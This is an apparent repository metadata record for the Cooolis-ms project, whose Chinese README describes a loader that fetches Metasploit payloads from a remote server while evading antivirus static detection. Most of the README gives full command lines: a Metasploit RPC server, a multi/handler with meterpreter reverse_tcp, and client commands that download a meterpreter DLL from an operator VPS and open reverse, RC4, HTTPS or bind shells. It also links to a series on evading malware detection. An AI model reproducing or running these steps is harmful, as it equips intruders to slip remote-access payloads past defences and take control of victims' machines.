{"id":23548013,"url":"https://github.com/rvn0xsy/cooolis-ms","last_synced_at":"2025-05-16T12:12:23.009Z","repository":{"id":37335716,"uuid":"178698471","full_name":"Rvn0xsy/Cooolis-ms","owner":"Rvn0xsy","description":"Cooolis-ms是一个包含了Metasploit Payload Loader、Cobalt Strike External C2 Loader、Reflective DLL injection的代码执行工具，它的定位在于能够在静态查杀上规避一些我们将要执行且含有特征的代码，帮助红队人员更方便快捷的从Web容器环境切换到C2环境进一步进行工作。","archived":false,"fork":false,"pushed_at":"2024-08-12T13:07:54.000Z","size":2075,"stargazers_count":917,"open_issues_count":0,"forks_count":138,"subscribers_count":25,"default_branch":"master","last_synced_at":"2025-05-16T12:12:20.476Z","etag":null,"topics":["cooolis-ms","metasploit"],"latest_commit_sha":null,"homepage":"https://rvn0xsy.github.io/Cooolis-ms","language":"C++","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Rvn0xsy.png","metadata":{"files":{"readme":"README-zh.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-03-31T14:23:57.000Z","updated_at":"2025-05-16T08:26:59.000Z","dependencies_parsed_at":"2022-08-08T20:01:12.097Z","dependency_job_id":"cf7335c6-a1a5-48f8-962a-86514ce971e2","html_url":"https://github.com/Rvn0xsy/Cooolis-ms","commit_stats":null,"previous_names":[],"tags_count":5,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Rvn0xsy%2FCooolis-ms","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Rvn0xsy%2FCooolis-ms/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Rvn0xsy%2FCooolis-ms/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Rvn0xsy%2FCooolis-ms/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Rvn0xsy","download_url":"https://codeload.github.com/Rvn0xsy/Cooolis-ms/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254527099,"owners_count":22085919,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cooolis-ms","metasploit"],"created_at":"2024-12-26T09:25:31.111Z","updated_at":"2025-05-16T12:12:22.984Z","avatar_url":"https://github.com/Rvn0xsy.png","language":"C++","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Cooolis-ms\n\n![README](./Pic/view-1.png)\n\nCooolis-ms 是一个支持Metasploit Framework RPC的一个服务端，用于给Shellcode和PE加载器工作，在一定程度上绕过反病毒软件的静态查杀，同时可以让Cooolis-ms服务端与Metasploit服务器进行分离。\n\n加载器执行流程：\n\n1. 连接Cooolis-Server\n2. Cooolis-Server连接Metasploit RPC服务端\n3. 取回Payload然后发送回加载器\n\n\n核心技术：\n\n- [静态恶意代码逃逸（第六课）](https://payloads.online/archivers/2020-01-02/1)\n\n\n## 该项目的优点\n\n- 体积小（\u003c600KB）\n- 支持Metasploit所有Payload\n- 参数设置简单\n- 单文件\n- 架构分离\n\n## 你可以参考这里，写出自己的好项目\n\n- [静态恶意代码逃逸（第一课）](https://payloads.online/archivers/2019-11-10/1)\n- [静态恶意代码逃逸（第二课）](https://payloads.online/archivers/2019-11-10/2)\n- [静态恶意代码逃逸（第三课）](https://payloads.online/archivers/2019-11-10/3)\n- [静态恶意代码逃逸（第四课）](https://payloads.online/archivers/2019-11-10/4)\n- [静态恶意代码逃逸（第五课）](https://payloads.online/archivers/2019-11-10/5)\n- [静态恶意代码逃逸（第六课）](https://payloads.online/archivers/2020-01-02/1)\n- [静态恶意代码逃逸（第七课）](https://payloads.online/archivers/2020-10-23/1)\n- [静态恶意代码逃逸（第八课）](https://payloads.online/archivers/2020-11-29/1)\n- [静态恶意代码逃逸（第九课）](https://payloads.online/archivers/2020-11-29/2)\n\n## 如何安装\n\n\n### 选择一 \u003e Docker部署（推荐）\n\n\nBilibili:\n\n[![China Bilibili](./img/2020-09-09-23-20-03.png)](https://www.bilibili.com/video/BV1P54y1m7JF/ \"China Bilibili\")\n\n\n```\n$ git clone https://github.com/Rvn0xsy/Cooolis-ms.git\n$ cd Cooolis-ms/Docker\n$ docker-compose up -d\n```\n\n默认监听端口：8899\n\n### 选择二 \u003e 源码部署\n\n```\n$ git clone https://github.com/Rvn0xsy/Cooolis-ms.git\n$ cd Cooolis-ms\n$ pip3 install -r requirements.txt\n$ python3 server.py -h\n```\n\n## 如何使用\n\n**如果你使用了Docker进行部署，请直接从第三步开始。**\n\n假设这是我的VPS： 10.20.56.41\n\n### 第一步 启动Metasploit RPC服务端\n\n**启动Metasploit RPC服务端：**\n\n```\n$ msfrpcd -U msf -P msf -u /api/1.0/ -a 127.0.0.1\n```\n\n![](img/2020-08-05-11-53-35.png)\n\n### 第二步 启动Cooolis-ms服务端\n\n使得它连接到RPC，并且监听一个端口，用来发送载荷：\n\n```\n$ python3 server.py -U msf -P msf -H 127.0.0.1 -p 55553 -s -v -l 8899 -S 10.20.56.41\n```\n\n![](img/2020-08-05-11-54-24.png)\n\n### 第三步 配置Metasploit监听器\n\n\n```\nmsf5 \u003e use exploit/multi/handler\nmsf5 \u003e set payload windows/meterpreter/reverse_tcp\nmsf5 \u003e set LHOST  10.20.56.41\nmsf5 \u003e set LPORT 8876\nmsf5 \u003e exploit -j\n```\n\n![](img/2020-08-05-11-57-03.png)\n\n### 第四步 启动Cooolis-ms客户端\n\n\n```\nCooolis-ms.exe -p windows/meterpreter/reverse_tcp -o LHOST=10.20.56.41,LPORT=8876,Format=dll -H 10.20.56.41 -P 8899\n```\n\n![](img/2020-08-05-12-08-07.png)\n\nQ\u0026A : [是否支持RC4加密的Payload?](https://github.com/Rvn0xsy/Cooolis-ms/issues/6)\n\n* windows/meterpreter/reverse_tcp_rc4：\n\n```\nCooolis-ms.exe -p windows/meterpreter/reverse_tcp_rc4 -o LHOST=10.20.56.41,LPORT=8876,RC4PASSWORD=rc4_password,Format=dll -H 10.20.56.41 -P 8899\n```\n\n* windows/meterpreter_reverse_https\n\n```\nCooolis-ms.exe -p windows/meterpreter_reverse_https -o LHOST=10.20.56.41,LPORT=8876,LURI=/api/,Format=dll -H 10.20.56.41 -P 8899\n```\n\n* windows/meterpreter/bind_tcp_rc4\n\n```\nCooolis-ms.exe -p windows/meterpreter/bind_tcp_rc4 -o RHOST=10.20.56.11,LPORT=8876,LURI=/api/,Format=dll -H 10.20.56.41 -P 8899\n```\n\n* 其他... 自由发挥\n\n**提示：**\n\n1. `-o`参数后的值需要和msf的监听器配置一致。\n2. 由于本项目依赖[MemoryModule](https://github.com/fancycode/MemoryModule)这个开源项目，因此只能支持DLL格式的PAYLOAD。需要在`-o`参数后添加`Format=dll`\n\n\n## 关于其他\n\n如果你觉得这个项目不错，请给我一个Star～\n\n\n## issue\n\n[我要提交建议或问题](https://github.com/Rvn0xsy/Cooolis-ms/issues)\n\n## LICENSE\n\n[GNU General Public License v3.0](https://github.com/Rvn0xsy/Cooolis-ms/blob/master/LICENSE)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frvn0xsy%2Fcooolis-ms","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Frvn0xsy%2Fcooolis-ms","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frvn0xsy%2Fcooolis-ms/lists"}